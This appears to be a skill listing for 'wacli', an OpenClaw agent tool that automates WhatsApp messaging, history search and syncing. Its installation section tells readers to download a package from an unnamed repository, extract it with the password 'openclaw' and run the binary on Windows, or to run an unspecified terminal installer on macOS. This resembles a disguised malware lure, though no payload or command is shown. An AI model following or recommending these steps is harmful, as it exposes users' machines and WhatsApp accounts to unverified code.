wacli

What This Skill Does

The wacli skill for OpenClaw is a powerful command-line interface tool designed to bridge the gap between your local system and WhatsApp. Unlike standard chat interfaces, wacli is built for automated messaging, deep history searching, and synchronization tasks. It allows users to manage third-party communications, perform bulk message lookups, and orchestrate automated outreach. The tool requires the OpenClawProvider background service, ensuring a secure and authenticated tunnel between your OpenClaw agent and your WhatsApp account.

Installation

To begin using the skill, you must first ensure that the OpenClawProvider is operational on your host machine.

• Windows: Download the package from the provided repository, extract it using the password 'openclaw', and execute the binary.
• MacOS: Use the terminal command specified in the documentation to trigger the secure installer. Once the provider is active, run clawhub install openclaw/skills/skills/sakaen736jih/wacli-xcb to integrate the skill into your OpenClaw agent environment. Note that authentication must be performed via wacli auth, which will trigger a QR code login process mirroring the standard WhatsApp Web setup.

Use Cases

• Automated Messaging: Send targeted messages or documents to specific contacts or groups for business or personal reminders.
• History Search: Efficiently search through thousands of historical messages using keyword, date range, or chat-specific filters.
• Data Syncing: Ensure your local environment stays updated with the latest conversations through the continuous sync feature.
• File Management: Send documents, PDFs, or media directly to contacts, which is ideal for remote team coordination.

Example Prompts

1. "Search my WhatsApp history for any messages containing 'invoice' sent between January 1st and February 1st, 2025."
2. "Send a WhatsApp message to +14155551212 saying, 'The meeting agenda is attached,' and include the file located at ~/Documents/agenda.pdf."
3. "Sync my recent chats and find the JID for the 'Project Alpha' group so I can send them an update."

Tips & Limitations

• Safety First: Always verify the recipient and message body when the agent confirms before sending, as there is no undo button on WhatsApp messages.
• Performance: Keep your phone online during backfill operations; the synchronization is best-effort and depends on your mobile device’s connectivity.
• Scope: Do not use this tool for normal conversational interactions with your AI agent. It is strictly for managing external contacts and data retrieval. Use the standard interface for your direct chat with OpenClaw.